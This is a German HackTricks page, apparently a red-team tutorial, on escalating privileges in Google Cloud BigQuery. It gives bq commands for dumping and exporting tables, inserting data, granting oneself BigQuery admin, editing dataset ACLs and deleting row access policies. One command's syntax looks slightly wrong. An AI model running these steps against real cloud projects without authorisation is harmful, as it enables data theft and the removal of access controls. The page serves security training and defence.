GCP - BigQuery Privesc

Reading time: 5 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

BigQuery

Für weitere Informationen zu BigQuery siehe:

GCP - Bigquery Enum

Tabelle lesen

Beim Lesen der Informationen, die in einer BigQuery-Tabelle gespeichert sind, könnte es möglich sein, sensible Informationen zu finden. Um auf die Informationen zuzugreifen, sind die benötigten Berechtigungen bigquery.tables.get, bigquery.jobs.create und bigquery.tables.getData:

bash
bq head <dataset>.<table>
bq query --nouse_legacy_sql 'SELECT * FROM `<proj>.<dataset>.<table-name>` LIMIT 1000'

Daten exportieren

Dies ist eine weitere Möglichkeit, auf die Daten zuzugreifen. Exportieren Sie sie in einen Cloud-Speicher-Bucket und laden Sie die Dateien mit den Informationen herunter.
Um diese Aktion durchzuführen, sind die folgenden Berechtigungen erforderlich: bigquery.tables.export, bigquery.jobs.create und storage.objects.create.

bash
bq extract <dataset>.<table> "gs://<bucket>/table*.csv"

Daten einfügen

Es könnte möglich sein, bestimmte vertrauenswürdige Daten in eine Bigquery-Tabelle einzufügen, um eine Schwachstelle an anderer Stelle auszunutzen. Dies kann einfach mit den Berechtigungen bigquery.tables.get, bigquery.tables.updateData und bigquery.jobs.create durchgeführt werden:

bash
# Via query
bq query --nouse_legacy_sql 'INSERT INTO `<proj>.<dataset>.<table-name>` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'

# Via insert param
bq insert dataset.table /tmp/mydata.json

bigquery.datasets.setIamPolicy

Ein Angreifer könnte dieses Privileg missbrauchen, um sich selbst weitere Berechtigungen über ein BigQuery-Dataset zu geben:

bash
# For this you also need bigquery.tables.getIamPolicy
bq add-iam-policy-binding \
--member='user:<email>' \
--role='roles/bigquery.admin' \
<proj>:<dataset>

# use the set-iam-policy if you don't have bigquery.tables.getIamPolicy

bigquery.datasets.update, (bigquery.datasets.get)

Nur diese Berechtigung ermöglicht es, Ihren Zugriff auf ein BigQuery-Dataset zu aktualisieren, indem die ACLs geändert werden, die angeben, wer darauf zugreifen kann:

bash
# Download current permissions, reqires bigquery.datasets.get
bq show --format=prettyjson <proj>:<dataset> > acl.json
## Give permissions to the desired user
bq update --source acl.json <proj>:<dataset>
## Read it with
bq head $PROJECT_ID:<dataset>.<table>

bigquery.tables.setIamPolicy

Ein Angreifer könnte dieses Privileg missbrauchen, um sich selbst weitere Berechtigungen über eine BigQuery-Tabelle zu geben:

bash
# For this you also need bigquery.tables.setIamPolicy
bq add-iam-policy-binding \
--member='user:<email>' \
--role='roles/bigquery.admin' \
<proj>:<dataset>.<table>

# use the set-iam-policy if you don't have bigquery.tables.setIamPolicy

bigquery.rowAccessPolicies.update, bigquery.rowAccessPolicies.setIamPolicy, bigquery.tables.getData, bigquery.jobs.create

Laut den Dokumenten ist es mit den genannten Berechtigungen möglich, eine Zeilenrichtlinie zu aktualisieren.
Allerdings benötigst du zusätzlich zur CLI bq noch einige weitere: bigquery.rowAccessPolicies.create, bigquery.tables.get.

bash
bq query --nouse_legacy_sql 'CREATE OR REPLACE ROW ACCESS POLICY <filter_id> ON `<proj>.<dataset-name>.<table-name>` GRANT TO ("<user:user@email.xyz>") FILTER USING (term = "Cfba");' # A example filter was used

Es ist möglich, die Filter-ID in der Ausgabe der Zeilenrichtlinienenumeration zu finden. Beispiel:

bash
bq ls --row_access_policies <proj>:<dataset>.<table>

Id        Filter Predicate            Grantees              Creation Time    Last Modified Time
------------- ------------------ ----------------------------- ----------------- --------------------
apac_filter   term = "Cfba"      user:asd@hacktricks.xyz   21 Jan 23:32:09   21 Jan 23:32:09

Wenn Sie bigquery.rowAccessPolicies.delete anstelle von bigquery.rowAccessPolicies.update haben, könnten Sie auch einfach die Richtlinie löschen:

bash
# Remove one
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICY <policy_id> ON `<proj>.<dataset-name>.<table-name>`;'

# Remove all (if it's the last row policy you need to use this
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICIES ON `<proj>.<dataset-name>.<table-name>`;'

caution

Eine weitere potenzielle Möglichkeit, um Zeilenzugriffsrichtlinien zu umgehen, wäre, einfach den Wert der eingeschränkten Daten zu ändern. Wenn Sie nur sehen können, wenn term Cfba ist, ändern Sie einfach alle Datensätze der Tabelle so, dass term = "Cfba" ist. Dies wird jedoch von BigQuery verhindert.

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks